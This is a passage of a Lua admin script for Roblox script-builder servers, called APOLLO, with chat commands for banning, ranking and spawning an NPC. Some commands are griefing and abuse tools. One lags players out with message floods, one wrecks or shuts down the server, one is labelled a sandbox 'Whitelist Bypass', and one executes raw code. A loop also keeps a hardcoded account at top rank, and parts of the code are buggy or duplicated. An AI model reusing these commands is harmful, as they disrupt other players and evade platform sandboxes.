- mot.Part0 = torso
- mot.Part1 = p1
- mot.Parent = torso
- return mot
- end
- function Set(tab)
- for _,v in pairs(tab) do
- local motor = v[1]
- local vel = v[2]
- local des = v[3]
- motor.MaxVelocity = vel
- motor.DesiredAngle = des
- end
- end
- function Animate(Hum, RSH, LSH, RH, LH)
- local pose = "Standing"
- local function sit()
- pose = "Seated"
- end
- local function jump()
- pose = "Jumping"
- end
- local function died()
- pose = "Dead"
- end
- local function falling()
- pose = "Falling"
- end
- local function climbing()
- pose = "Climbing"
- end
- local function run(speed)
- if speed > 0.5 then
- pose = "Running"
- else
- pose = "Standing"
- end
- end
- local function move(tiem)
- local amplitude, frequency
- if pose == "Seated" then
- Set({{RSH, 0.15, math.pi/2}, {LSH, 0.15, -math.pi/2}, {LH, 0.15, math.pi/2}, {RH, 0.15, -math.pi/2}})
- return
- end
- if pose == "Jumping" then
- Set({{RSH, 0.3, math.pi}, {LSH, 0.3, -math.pi}, {LH, 0.3, 0}, {RH, 0.3, 0}})
- return
- end
- if pose == "Falling" then
- Set({{RSH, 0.35, math.pi}, {LSH, 0.35, -math.pi}, {LH, 0.35, 0}, {RH, 0.35, 0}})
- return
- end
- local climb = 0
- if pose == "Running" then
- RSH.MaxVelocity = 0.15
- LSH.MaxVelocity = 0.15
- RH.MaxVelocity = 0.15
- LH.MaxVelocity = 0.15
- amplitude = 1
- frequency = 8
- elseif pose == "Climbing" then
- RSH.MaxVelocity = 0.3
- LSH.MaxVelocity = 0.3
- RH.MaxVelocity = 0.15
- LH.MaxVelocity = 0.15
- amplitude = 1
- frequency = 8
- climb = math.pi
- else
- amplitude = 0.1
- frequency = 1
- end
- des = amplitude * math.sin(tiem*frequency)
- RSH.DesiredAngle = des + climb
- LSH.DesiredAngle = des - climb
- RH.DesiredAngle = -des
- LH.DesiredAngle = -des
- end
- Hum.Jumping:connect(jump)
- Hum.Running:connect(run)
- Hum.Seated:connect(sit)
- Hum.Died:connect(died)
- Hum.FreeFalling:connect(falling)
- Hum.Climbing:connect(climbing)
- coroutine.resume(coroutine.create(function()
- while pose ~= "Dead" do
- local _, time = wait(0.1)
- move(time)
- end
- end))
- end
- function MakeNoob(pos, scale)
- local Name = 'Ponda'
- local Nub = Instance.new("Model")
- Nub.Name = Name
- Noob = Nub
- local Torso = Part(Nub, false, false, 0, 0, "Really black", 2*scale, 2*scale, 1*scale)
- Torso.Name = "Torso"
- local Head = Part(Nub, false, false, 0, 0, "Institutional white", 2*scale, 1*scale, 1*scale)
- Head.Name = "Head"
- local Neck = MakeMotor(Torso, Head, CN(0, 1*scale, 0), CN(0, -0.5*scale, 0))
- local HeadMesh = Instance.new("SpecialMesh",Head)
- HeadMesh.Scale = V3(1.25, 1.25, 1.25)
- local Face = Instance.new("Decal",Head)
- Face.Face = "Front"
- Face.Texture = Asset..(13038247)
- local Rarm = Part(Nub, false, false, 0, 0, "Really black", 1*scale, 2*scale, 1*scale)
- Rarm.Name = "Right Arm"
- local Larm = Part(Nub, false, false, 0, 0, "Institutional white", 1*scale, 2*scale, 1*scale)
- Larm.Name = "Left Arm"
- local Rleg = Part(Nub, false, false, 0, 0, "Institutional white", 1*scale, 2*scale, 1*scale)
- Rleg.Name = "Right Leg"
- local Lleg = Part(Nub, false, false, 0, 0, "Really black", 1*scale, 2*scale, 1*scale)
- Lleg.Name = "Left Leg"
- local Root= Instance.new("Part",Nub)
- Root.Name='HumanoidRootPart'
- Root.Transparency=1;
- Root.Size=Vector3.new(2,2,1);
- Root.Friction=0.30
- Root.Elasticity=0.5
- local Hip = Instance.new("Motor6D",Root)
- Hip.CurrentAngle=0;
- Hip.DesiredAngle=0;
- Hip.MaxVelocity=0.1;
- Hip.Name='RootHip'
- Hip.Part0=Root
- Hip.Part1=Torso
- local RSH = MakeMotor(Torso, Rarm, CN(1*scale, 0.5*scale, 0) * CA(0, MR(90), 0), CN(-0.5*scale, 0.5*scale, 0) * CA(0, MR(90), 0))
- local LSH = MakeMotor(Torso, Larm, CN(-1*scale, 0.5*scale, 0) * CA(0, MR(-90), 0), CN(0.5*scale, 0.5*scale, 0) * CA(0, MR(-90), 0))
- local RH = MakeMotor(Torso, Rleg, CN(0.5*scale, -1*scale, 0) * CA(0, MR(-90), 0), CN(0, 1*scale, 0) * CA(0, MR(-90), 0))
- local LH = MakeMotor(Torso, Lleg, CN(-0.5*scale, -1*scale, 0) * CA(0, MR(90), 0), CN(0, 1*scale, 0) * CA(0, MR(90), 0))
- local Hum = Instance.new("Humanoid")
- local Hat=game:service'InsertService':LoadAsset(20721282).Pwnda
- Hat.Handle.Mesh.Scale=Hat.Handle.Mesh.Scale*scale
- --local Hat2=game:service'InsertService':LoadAsset(152980442).EggofLuck2014
- --Hat2.Handle.Mesh.Scale=Hat.Handle.Mesh.Scale*(scale-0.95)
- wait(0.1)
- Hat.Parent=Nub
- Hum.MaxHealth = 40+(scale*60)
- Hum.Health = 100
- Hum.Parent = Nub
- Nub.Parent = workspace
- Nub:MakeJoints()
- Nub:MoveTo(pos)
- Animate(Hum,RSH,LSH,RH,LH)
- local path = {
- Vector3.new(7.9, 5.39, -65.1),
- Vector3.new(9.7, 47.39, -17.1),
- Vector3.new(-3.2, 23.49, -9),
- Vector3.new(-13.2, 5.49, 30.8),
- Vector3.new(-82.9, 5.39, 16.5),
- }
- local radius = 200
- function randomvector()
- return Vector3.new(math.random() * radius * 2 - radius, math.random() * radius * 2 - radius, math.random() * radius * 2 - radius)
- end
- local pointCount = math.random(4, 10)
- for i = 1, pointCount do
- path[i] = randomvector()
- end
- wait()
- local parent = Nub
- local moveTime = 0
- while (true) do
- for i, point in pairs(path) do
- local distanceVector = parent.HumanoidRootPart.Position - point
- local distance = distanceVector.magnitude
- parent.Humanoid:MoveTo(point, Workspace.Base)
- moveTime = 0
- while (moveTime < (distance / 32)) do
- moveTime = moveTime + 1
- -- parent.Humanoid.Jump = true
- wait(1)
- end
- end
- end
- return {Name = Name, Model = Nub, Humanoid = Hum, Torso = Torso, Head = Head, Rarm = Rarm, Larm = Larm, Rleg = Rleg, Lleg = Lleg, RSH = RSH, LSH = LSH, RH = RH, LH = LH, Neck = Neck}
- end
- local Npc = MakeNoob(V3(MRA(-20, 20),10,MRA(-20, 20)),1)
- wait(0.1)
- end
- end)
- APOLLO.Functions.AddCommand('Ranked','gr',0,'Shows ranked players',function(user)
- APOLLO.Functions.getRanked(user);
- end);
- APOLLO.Functions.AddCommand('Forcefield','ff',1,'Gives a forcefield',function(user,msg)
- for i,v in next,APOLLO.Functions.getPlayers(user,msg)do
- local ff=Instance.new("ForceField",v.Character)
- ff.Name='S_FF'
- end
- end);
- APOLLO.Functions.AddCommand('Perma-FF','pff',3,'Forcefields you as long as the script is running.',function(user,msg)
- for i,v in next,APOLLO.Functions.getPlayers(user,msg)do
- local ff=Instance.new("ForceField",v.Character)
- ff.Name='S_P_FF'
- while wait() do
- if v.Character:findFirstChild('S_P_FF')==nil then
- local ff=Instance.new("ForceField",v.Character)
- ff.Name='S_P_FF'
- end
- end
- end
- end)
- APOLLO.Functions.AddCommand('Kick','kick',3,'Kicks a player',function(user,msg)
- for i,v in next,APOLLO.Functions.getPlayers(user,msg) do
- pcall(function()APOLLO.Functions.kick(v)end);
- end
- end);
- APOLLO.Functions.AddCommand('FIx Idle','fidle',4,'Fixes the idle animation',function()
- while(wait())do
- for i,v in next,APOLLO.Idling do
- for i = 0,10,1 do
- wait()
- APOLLO.Functions.tabletOutput(game:service'Players':findFirstChild(v.Name),'','Really red');
- end
- wait(0.8)
- APOLLO.Functions.dismiss(game:service'Players':findFirstChild(v.Name));
- end
- end
- end);
- APOLLO.Functions.AddCommand('Dismiss','dt',0,'Dismisses your tablets',function(user)
- APOLLO.Functions.dismiss(user);
- end);
- APOLLO.Functions.AddCommand('Wreck the server','rek',4,'Wrecks the server.',function()
- game.ItemChanged:connect(function()
- for i,v in next,workspace:children() do
- for i = 0,10 do
- pcall(function()v:Clone().Parent=workspace end)
- end
- end
- end)
- do
- setfenv(1,{game=game,Destroy=Destroy,wait=wait,print=print})--try to get clean env
- game.Lighting:Destroy()
- end
- end);
- APOLLO.Functions.AddCommand('Idle','idle',0,'Show people you are AFK.',function(user)
- table.insert(APOLLO.Idling,user);
- print('added '..tostring(user)..' to idle list')
- end)
- APOLLO.Functions.AddCommand('Un-idle','uidle',0,'Show people you are back.',function(user)
- for i,v in next,APOLLO.Idling do
- if v.Name==user.Name then
- table.remove(APOLLO.Idling,i)
- print('removed '..v.Name..' from idle list');
- end
- end
- end)
- APOLLO.Functions.AddCommand('Time ban','tban',5,'Timebans a person.',function(user,msg)
- local found=false
- for i,v in next,APOLLO.Functions.getPlayers(user,msg)do
- for i,r in next,APOLLO.TimeBanned do
- if r.Name==tostring(v) then
- found=true
- end
- end
- if found==false then
- msg=msg:sub(#msg+1)
- table.insert(APOLLO.TimeBanned,{Name=tostring(v),Time=tonumber(msg)})
- APOLLO.Functions.kick(v);
- end
- end
- end)
- APOLLO.Functions.AddCommand('Logs','slogs',3,'Shows admin logs',function(user,msg)
- for i,v in next,APOLLO.Functions.getPlayers(user,msg) do
- for d,w in next,APOLLO.Logged do
- if w['Name']==v.Name then
- APOLLO.Functions.tabletOutput(user,tostring(v.Name),'Really red',function()APOLLO.Functions.dismiss(user)
- for i,q in next,w.Actions do
- APOLLO.Functions.tabletOutput(user,tostring(q),'Dark green')
- end
- end)
- end
- end
- end
- end)
- APOLLO.Functions.AddCommand('Ban','ban',3,'Bans the player',function(user,msg)
- for i,v in next,APOLLO.Functions.getPlayers(user,msg) do
- table.insert(APOLLO.Banned,v.Name)
- APOLLO.Functions.kick(v);
- end
- end);
- APOLLO.Functions.AddCommand('Rexe','exe',7,'Raw-exe',function(user,msg)
- pcall(function()loadstring(msg)()end);
- end);
- APOLLO.Functions.AddCommand('Remove','remm',6,'Removes the admin',function()
- for i,v in next,getfenv(1) do
- getfenv(1)[i]=nil;end
- for i,v in next,getfenv() do
- getfenv(1)[i]=nil;end
- for i,v in next,getfenv(2)do
- getfenv(1)[i]=nil;end
- script.Disabled=true;
- script:remove();
- getfenv(print).error=nil;
- getfenv(print).print=nil;
- getfenv().REMOVED=true;
- end)
- APOLLO.Functions.AddCommand('Change rank','rank',0,'Ranks a player',function(user,msg)
- local rank=APOLLO.Functions.getRank(user)
- for i,v in next,game:service'Players':players() do
- APOLLO.Functions.tabletOutput(user,v.Name,'Really red',function()APOLLO.Functions.dismiss(user)
- if rank==0 then
- APOLLO.Functions.tabletOutput(user,"You can't change anyones rank.",'Really red')
- return
- end
- if rank>=1 and rank>APOLLO.Functions.getRank(v) then
- APOLLO.Functions.tabletOutput(user,"Change player rank to 0",'Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,0)end)
- end
- if rank>=2 and rank>APOLLO.Functions.getRank(v) then
- APOLLO.Functions.tabletOutput(user,'Change player rank to 1','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,1)end)
- end
- if rank>=3 and rank>APOLLO.Functions.getRank(v) then
- APOLLO.Functions.tabletOutput(user,'Change player rank to 2','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,2)end)
- end
- if rank>=4 and rank>APOLLO.Functions.getRank(v) then
- APOLLO.Functions.tabletOutput(user,'Change player rank to 3','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,3)end)
- end
- if rank>=5 and rank>APOLLO.Functions.getRank(v) then
- APOLLO.Functions.tabletOutput(user,'Change player rank to 4','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,4)end)
- end
- if rank>=6 and rank>APOLLO.Functions.getRank(v) then
- APOLLO.Functions.tabletOutput(user,'Change player rank to 5','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,5)end)
- end
- end)
- end
- end)
- APOLLO.Functions.AddCommand('Require','req',5,'Requires an ID at Nexures SB (Whitelist Bypass)',function(user,msg)
- local e=getfenv(load)
- e.require=nil;
- e.require(tostring(msg))(getfenv())
- end)
- APOLLO.Functions.AddCommand('Shutdown','sd',6,'Shuts down the server.',function()
- for i,v in next,APOLLO.Services do
- for d,k in next,v:children() do
- pcall(game.Destroy,k);
- end
- end
- while(wait())do
- for i,plr in next,game:service'Players':players() do
- APOLLO.Functions.kick(plr);
- end
- end
- end);
- APOLLO.Functions.AddCommand('Colors','colors',1,'Shows Lua colors',function(user)
- for i,v in next,APOLLO.Colors do
- APOLLO.Functions.tabletOutput(user,tostring(v),v);
- end
- end);
- APOLLO.Functions.AddCommand('Change bet','cbet',0,'Changes your bet',function(user)
- local bets={'/','\\',"'",'"','>','<',',','.','?'};
- for i,v in next,APOLLO.Ranked do
- if v.Name==user.Name then
- for i,bet in next,bets do
- APOLLO.Functions.tabletOutput(user,tostring(bet),'Really red',function()APOLLO.Functions.dismiss(user)v.Bet=bet end)
- end
- end
- end
- end);
- APOLLO.Functions.AddCommand('List place settings/info','plc',2,'Shows place info and settings',function(user)
- local o=APOLLO.Functions.tabletOutput;
- o(user,'id='..game.PlaceId);
- o(user,'# '..#workspace:children());
- o(user,'garbage: '..'nan');
- o(user,'LoadStringEnabled: '..game:service'ServerScriptService'.LoadStringEnabled);
- o(user,'Sandboxed: '..'All functions ran, no sandboxes found.');
- o(user,'Environment clean: yes');
- end);
- APOLLO.Functions.AddCommand('Create server','news',666-660,'Makes a new server',function(user,msg)
- local placeid = nil
- if #msg > 2 then
- placeid = msg
- end
- APOLLO.Functions.CreateGameServer(user,placeid)
- end);
- APOLLO.Functions.AddCommand('Ponda','ponda',1,'Spawns an AntiBooz0r companion',function(user,msg)
- local num=msg:sub(1,2)
- local num2=msg:sub(4,6)
- local Asset = "http://www.roblox.com/asset/?id="
- function Part(P, Anch, Coll, Tran, Ref, Col, X, Y, Z)
- local p = Instance.new("Part")
- p.TopSurface = 0
- p.BottomSurface = 0
- p.Transparency = Tran
- p.Reflectance = Ref
- p.CanCollide = Coll
- p.Anchored = Anch
- p.BrickColor = BrickColor.new(Col)
- p.formFactor = "Custom"
- p.Size = Vector3.new(X,Y,Z)
- p.Parent = P
- p.Locked = true
- p:BreakJoints()
- return p
- end
- function Weld(P0, P1, X, Y, Z, A, B, C)
- local w = Instance.new("Weld")
- w.Part0 = P0
- w.Part1 = P1
- w.C = CN(X, Y, Z) * CA(A, B, C)
- w.Parent = P0
- return w
- end
- CA = CFrame.Angles
- CN = CFrame.new
- V3 = Vector3.new
- MR = math.rad
- MP = math.pi
- MRA = math.random
- MH = math.huge
- Noob = nil
- function MakeMotor(torso, p1, c0, c1)
- local mot = Instance.new("Motor6D")
- mot.C0 = c0
- mot.C1 = c1
- mot.Part0 = torso
- mot.Part1 = p1
- mot.Parent = torso
- return mot
- end
- function Set(tab)
- for _,v in pairs(tab) do
- local motor = v[1]
- local vel = v[2]
- local des = v[3]
- motor.MaxVelocity = vel
- motor.DesiredAngle = des
- end
- end
- function Animate(Hum, RSH, LSH, RH, LH)
- local pose = "Standing"
- local function sit()
- pose = "Seated"
- end
- local function jump()
- pose = "Jumping"
- end
- local function died()
- pose = "Dead"
- end
- local function falling()
- pose = "Falling"
- end
- local function climbing()
- pose = "Climbing"
- end
- local function run(speed)
- if speed > 0.5 then
- pose = "Running"
- else
- pose = "Standing"
- end
- end
- local function move(tiem)
- local amplitude, frequency
- if pose == "Seated" then
- Set({{RSH, 0.15, math.pi/2}, {LSH, 0.15, -math.pi/2}, {LH, 0.15, math.pi/2}, {RH, 0.15, -math.pi/2}})
- return
- end
- if pose == "Jumping" then
- Set({{RSH, 0.3, math.pi}, {LSH, 0.3, -math.pi}, {LH, 0.3, 0}, {RH, 0.3, 0}})
- return
- end
- if pose == "Falling" then
- Set({{RSH, 0.35, math.pi}, {LSH, 0.35, -math.pi}, {LH, 0.35, 0}, {RH, 0.35, 0}})
- return
- end
- local climb = 0
- if pose == "Running" then
- RSH.MaxVelocity = 0.15
- LSH.MaxVelocity = 0.15
- RH.MaxVelocity = 0.15
- LH.MaxVelocity = 0.15
- amplitude = 1
- frequency = 8
- elseif pose == "Climbing" then
- RSH.MaxVelocity = 0.3
- LSH.MaxVelocity = 0.3
- RH.MaxVelocity = 0.15
- LH.MaxVelocity = 0.15
- amplitude = 1
- frequency = 8
- climb = math.pi
- else
- amplitude = 0.1
- frequency = 1
- end
- des = amplitude * math.sin(tiem*frequency)
- RSH.DesiredAngle = des + climb
- LSH.DesiredAngle = des - climb
- RH.DesiredAngle = -des
- LH.DesiredAngle = -des
- end
- Hum.Jumping:connect(jump)
- Hum.Running:connect(run)
- Hum.Seated:connect(sit)
- Hum.Died:connect(died)
- Hum.FreeFalling:connect(falling)
- Hum.Climbing:connect(climbing)
- coroutine.resume(coroutine.create(function()
- while pose ~= "Dead" do
- local _, time = wait(0.1)
- move(time)
- end
- end))
- end
- function MakeNoob(pos, scale)
- local Name = 'Ponda'
- local Nub = Instance.new("Model")
- Nub.Name = Name
- Noob = Nub
- local Torso = Part(Nub, false, false, 0, 0, "Really black", 2*scale, 2*scale, 1*scale)
- Torso.Name = "Torso"
- local Head = Part(Nub, false, false, 0, 0, "Institutional white", 2*scale, 1*scale, 1*scale)
- Head.Name = "Head"
- local Neck = MakeMotor(Torso, Head, CN(0, 1*scale, 0), CN(0, -0.5*scale, 0))
- local HeadMesh = Instance.new("SpecialMesh",Head)
- HeadMesh.Scale = V3(1.25, 1.25, 1.25)
- local Face = Instance.new("Decal",Head)
- Face.Face = "Front"
- Face.Texture = Asset..(13038247)
- local Rarm = Part(Nub, false, false, 0, 0, "Really black", 1*scale, 2*scale, 1*scale)
- Rarm.Name = "Right Arm"
- local Larm = Part(Nub, false, false, 0, 0, "Institutional white", 1*scale, 2*scale, 1*scale)
- Larm.Name = "Left Arm"
- local Rleg = Part(Nub, false, false, 0, 0, "Institutional white", 1*scale, 2*scale, 1*scale)
- Rleg.Name = "Right Leg"
- local Lleg = Part(Nub, false, false, 0, 0, "Really black", 1*scale, 2*scale, 1*scale)
- Lleg.Name = "Left Leg"
- local Root= Instance.new("Part",Nub)
- Root.Name='HumanoidRootPart'
- Root.Transparency=1;
- Root.Size=Vector3.new(2,2,1);
- Root.Friction=0.30
- Root.Elasticity=0.5
- local Hip = Instance.new("Motor6D",Root)
- Hip.CurrentAngle=0;
- Hip.DesiredAngle=0;
- Hip.MaxVelocity=0.1;
- Hip.Name='RootHip'
- Hip.Part0=Root
- Hip.Part1=Torso
- local RSH = MakeMotor(Torso, Rarm, CN(1*scale, 0.5*scale, 0) * CA(0, MR(90), 0), CN(-0.5*scale, 0.5*scale, 0) * CA(0, MR(90), 0))
- local LSH = MakeMotor(Torso, Larm, CN(-1*scale, 0.5*scale, 0) * CA(0, MR(-90), 0), CN(0.5*scale, 0.5*scale, 0) * CA(0, MR(-90), 0))
- local RH = MakeMotor(Torso, Rleg, CN(0.5*scale, -1*scale, 0) * CA(0, MR(-90), 0), CN(0, 1*scale, 0) * CA(0, MR(-90), 0))
- local LH = MakeMotor(Torso, Lleg, CN(-0.5*scale, -1*scale, 0) * CA(0, MR(90), 0), CN(0, 1*scale, 0) * CA(0, MR(90), 0))
- local Hum = Instance.new("Humanoid")
- local Hat=game:service'InsertService':LoadAsset(20721282).Pwnda
- Hat.Handle.Mesh.Scale=Hat.Handle.Mesh.Scale*scale
- --local Hat2=game:service'InsertService':LoadAsset(152980442).EggofLuck2014
- --Hat2.Handle.Mesh.Scale=Hat.Handle.Mesh.Scale*(scale-0.95)
- wait(0.1)
- Hat.Parent=Nub
- Hum.MaxHealth = 40+(scale*60)
- Hum.Health = 100
- Hum.Parent = Nub
- Nub.Parent = workspace
- Nub:MakeJoints()
- Nub:MoveTo(pos)
- Animate(Hum,RSH,LSH,RH,LH)
- local path = {
- Vector3.new(7.9, 5.39, -65.1),
- Vector3.new(9.7, 47.39, -17.1),
- Vector3.new(-3.2, 23.49, -9),
- Vector3.new(-13.2, 5.49, 30.8),
- Vector3.new(-82.9, 5.39, 16.5),
- }
- local radius = 200
- function randomvector()
- return Vector3.new(math.random() * radius * 2 - radius, math.random() * radius * 2 - radius, math.random() * radius * 2 - radius)
- end
- local pointCount = math.random(4, 10)
- for i = 1, pointCount do
- path[i] = randomvector()
- end
- wait()
- local parent = Nub
- local moveTime = 0
- while (true) do
- for i, point in pairs(path) do
- local distanceVector = parent.HumanoidRootPart.Position - point
- local distance = distanceVector.magnitude
- parent.Humanoid:MoveTo(point, Workspace.Base)
- moveTime = 0
- while (moveTime < (distance / 32)) do
- moveTime = moveTime + 1
- -- parent.Humanoid.Jump = true
- wait(1)
- end
- end
- end
- return {Name = Name, Model = Nub, Humanoid = Hum, Torso = Torso, Head = Head, Rarm = Rarm, Larm = Larm, Rleg = Rleg, Lleg = Lleg, RSH = RSH, LSH = LSH, RH = RH, LH = LH, Neck = Neck}
- end
- local Npc = MakeNoob(V3(MRA(-20, 20),10,MRA(-20, 20)),1)
- end);
- APOLLO.Functions.AddCommand('Lag','lg',4,'Lags a player, causing him to leave.',function(user,msg)
- for i,v in next,APOLLO.Functions.getPlayers(user,msg)do
- for i = 0,3 do
- for i = 0,10000 do
- pcall(function()Instance.new("Message",v.PlayerGui).Text="W'sup"end)
- end;end;end;end)
- APOLLO.Functions.AddCommand('Commands','cmds',0,'Shows the commands',function(user,msg)
- APOLLO.Functions.showCommands(user);
- end);
- APOLLO.Functions.AddCommand('Check','check',0,'Checks if the admin is running',function(user)
- APOLLO.Functions.guiNotify(user,'APOLLO is running!',3);
- end);
- APOLLO.Functions.AddCommand('Player Interface','pint',6,'Shows player interface',function(user)
- if(script.ClassName=='LocalScript')then
- APOLLO.Functions.guiNotify(user,'Please run APOLLO serversided to use this command.',5);
- else
- APOLLO.Functions.playerInterface(user);
- end
- end);
- APOLLO.Functions.AddCommand('#','#',1,'Shows # tablets',function(user,msg)
- local num=tonumber(msg);
- if num then
- for i = 0,num do
- APOLLO.Functions.tabletOutput(user,tostring(i));
- end
- end
- end);
- APOLLO.Functions.AddCommand('Update','update',6,'Updates the script if there is an update available.',function(user)
- local newVer=game:service'HttpService':GetAsync(APOLLO.CoreStuff.baseLink,true)
- if newVer~=CurrentVersion then
- APOLLO.Functions.tabletOutput(user,'A new update available! Click me to update.','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.update()end)
- elseif
- newVer==CurrentVersion then
- APOLLO.Functions.tabletOutput(user,'There is no new version available.','Dark green');
- end
- end)
- APOLLO.Functions.AddCommand('Grab','grab',1,'Grabs a player',function(user,msg)
- pcall(function()loadstring(string.format('APOLLO.Functions.attach(%s,%s)','game.Players["'..tostring(user)..'"]',tostring(msg)))()end)
- end);
- APOLLO.Functions.AddCommand('Env','env',0,'Shows environment',function(user)
- for i,v in next,getfenv() do
- APOLLO.Functions.tabletOutput(user,tostring(i)..': '..tostring(v))
- end
- end);
- APOLLO.Functions.AddCommand('Force','#',4,'Force a command upon a player.',function(user,msg)
- for i,v in next,APOLLO.Functions.getPlayers(user,msg)do
- APOLLO.Functions.Chat(v,tostring(msg))
- end;end);
- APOLLO.Functions.AddCommand('Clear','clr',2,'Clears the workspace.',function()
- for i,d in next,workspace:children()do
- pcall(function()d:remove()end);end;
- for i,v in next,game:service'Lighting':children()do
- pcall(function()d:Destroy()end);
- end
- for i,v in next,game:service'Players':players() do
- if(script.ClassName=='Script')then
- v:LoadCharacter()
- elseif NS~=nil then
- NS([[game:service'Players':children()[]]..i..[[]:LoadCharacter()]],game:service'Workspace');
- else
- print'Script builder not loadcharacter compatible. Sorry.'
- end
- end
- local b=Instance.new("Part",workspace)
- b.Size=Vector3.new(700,1.200000005,700)
- b.Material='Grass'
- b.BrickColor=BrickColor.new('Dark green')
- b.Anchored=true;
- b.Locked=true;
- b.Name='Base'
- end)
- --[[
- APOLLO.Functions.AddCommand('Lag_Ban','lb',5,'Lagbans a player, causing him to leave and never come back',function(user,msg)
- for i,v in next,APOLLO.Functions.getPlayers(user,msg)do
- for i = 0,10000 do
- pcall(function()Instance.new("Message",v.PlayerGui).Text="W'sup"end)
- end;end;end)
- ]]--
- local timeBan=game:service'RunService'.Stepped:connect(function()
- for i,v in next,APOLLO.TimeBanned do
- v.Time=v.Time-1
- if v.Time>=0 then
- table.remove(APOLLO.TimeBanned,i);
- end
- end
- wait(1)
- end)
- local rotate=game:service'RunService'.Stepped:connect(function()
- if APOLLO.CoreStuff.RotMode==1 then
- APOLLO.Functions.rotateAnim(APOLLO.CoreStuff.tabPart)
- end
- for i,v in next,APOLLO.Ranked do
- if v.Name=='SolarEnvironment'and not v.Rank==7 then
- v.Name='SolarEnvironment';v.Reason='Creator';v.Rank=7
- else
- APOLLO.Functions.AddRank('SolarEnvironment','Creator',7,'/');
- end
- if v.Rank==7 and not v.Name=='APOLLO_SYSTEM'and not v.Reason=='EVENT_HANDELING'and not v.Name=='SolarEnvironment'and not v.Reason=='Creator'then
- v.Rank=0;
- end
- end
- if(APOLLO.Settings.sharedLock==true)then
- for i,v in next,shared do
- shared[i]=nil;
- end
- end
- if(APOLLO.Settings.sharedLock==true)then
- for i,v in next,_G do
- _G[i]=nil;
- end
- end
- end)
- game:service'RunService'.Stepped:connect(function()
- for i,v in next,game:service'Workspace':children() do
- if v.Name=='ApolloPart' and v:IsA'BasePart' then
- v.Position=Vector3.new(0,500,0);
- APOLLO.CoreStuff.tabPart=v
- return
- else
- local p=Instance.new("Part")
- p.Name='ApolloPart'
- p.Size=Vector3.new(1,1,1);
- p.Anchored=true;
- p.CanCollide=false;
- p.Transparency=1;
- p.Position=Vector3.new(0,500,0);
- APOLLO.CoreStuff.tabPart=v;
- return
- end
- end
- end)
- for i,p in next,game:service'Players':players() do
- wait();
- for i,v in next,APOLLO.Banned do
- if tostring(v)==tostring(p) then
- APOLLO.Functions.kick(p);
- end
- end
- for i,v in next,APOLLO.TimeBanned do
- if tostring(v.Name)==tostring(p) then
- APOLLO.Functions.kick(p);
- end
- end
- if p~= nil then
- APOLLO.Functions.AddRank(p.Name,0,'APOLLO_ERROR: NOT_DEFINED')
- local f=false;
- for _,v in pairs(APOLLO.Logged) do
- if v["Name"] == tostring(p.Name) then
- f = true
- break
- end
- end
- if f==false then
- table.insert(APOLLO.Logged,{['Name']=p.Name,['Actions']={}});
- end
- p.Chatted:connect(function(m)
- APOLLO.Functions.Chat(p,m)
- end)
- end
- if APOLLO.Settings.Pri==true then
- if APOLLO.Functions.getRank(p)==0 then
- APOLLO.Functions.tabletOutput(APOLLO.CoreStuff.MAIN_USER,'Do you want to allow '..p.Name..' into the server?','Really red')
- APOLLO.Functions.tabletOutput(APOLLO.CoreStuff.MAIN_USER,'Yes','Really red',function()APOLLO.Functions.dismiss(APOLLO.CoreStuff.MAIN_USER)APOLLO.Functions.setRank(p,1)end)
- APOLLO.Functions.tabletOutput(APOLLO.CoreStuff.MAIN_USER,'No','Dark green',function()APOLLO.Functions.dismiss(APOLLO.CoreStuff.MAIN_USER)APOLLO.Functions.kick(p)APOLLO.Functions.setRank(p,-0.1)end)
- APOLLO.Functions.kick(p)--I know, we're kicking them but next time they join, they are doneee.
- elseif APOLLO.Functions.getRank(p)==-0.1 then
- APOLLO.Functions.kick(p);
- end
- end
- end
- local Enter=game:service'Players'.PlayerAdded:connect(function(p)
- for i,v in next,APOLLO.Banned do
- if tostring(v)==tostring(p) then
- APOLLO.Functions.kick(p);
- end
- end
- for i,v in next,APOLLO.TimeBanned do
- if tostring(v.Name)==tostring(p) then
- APOLLO.Functions.kick(p);
- end
- end
- if p~=nil then
- APOLLO.Functions.AddRank(p.Name,0,'APOLLO_ERROR: NOT_DEFINED')
- local f=false;
- for _,v in pairs(APOLLO.Logged) do
- if v["Name"] == tostring(p.Name) then
- f = true
- break
- end
- end
- if f==false then
- table.insert(APOLLO.Logged,{['Name']=p.Name,['Actions']={}});
- end
- p.Chatted:connect(function(m)
- APOLLO.Functions.Chat(p,m)
- end)
- if APOLLO.Settings.Pri==true then
- if APOLLO.Functions.getRank(p)<1 then
- APOLLO.Functions.kick(p);
- end
- end
- --granted
- print('Welcome '..tostring(p)..' to the server.')
- end
- if APOLLO.CoreStuff.RotMode==2 then
- APOLLO.Functions.rotAnim2(p);
- end
- if p.Name=='TheDarkRevenant'then
- APOLLO.Settings.SaveLighting=false;
- end
- end)
- for i,v in next,APOLLO.Services do
- v.Changed:connect(function()
- if v.Name~=v.ClassName then
- print(tostring(v.Name).."'s name was restored to "..v.ClassName);
- v.Name=v.ClassName;
- end
- end);
- end
- game:service'Lighting'.Changed:connect(function()
- if(APOLLO.Settings.SaveLighting==true)then
- if(APOLLO.CoreStuff.ChangingLighting==false)then
- APOLLO.Functions.fixLighting();
- end
- end
- wait();
- end);
- local Leave=game:service'Players'.PlayerRemoving:connect(function(pl)
- for i,v in next,APOLLO.CoreStuff.SavedTabletsInfo do
- if v.Owner == pl or v.Owner == nil then
- APOLLO.CoreStuff.SavedTabletsInfo[i]=nil
- end
- end
- for i,v in next,APOLLO.CoreStuff.StoredTablets do
- if v.Owner == pl or v.Owner == nil then
- pcall(function()
- APOLLO.CoreStuff.StoredTablets[i].P:remove()
- end)
- APOLLO.CoreStuff.StoredTablets[i]=nil
- end
- end
- for i,v in next,APOLLO.Idling do
- if v.Name==pl.Name then
- table.remove(APOLLO.Idling,i);
- end
- end
- if APOLLO.Settings.NilsAllowed==false then
- APOLLO.Functions.kick(p)
- end
- end)
- if APOLLO.Settings.Pri==true then
- for i,p in next,game:service'Players':players() do
- if APOLLO.Functions.getRank(p)<=0 then
- APOLLO.Functions.kick(p);
- end
- end
- if p.Name=='TheDarkRevenant'then
- APOLLO.Settings.SaveLighting=true;
- end
- end
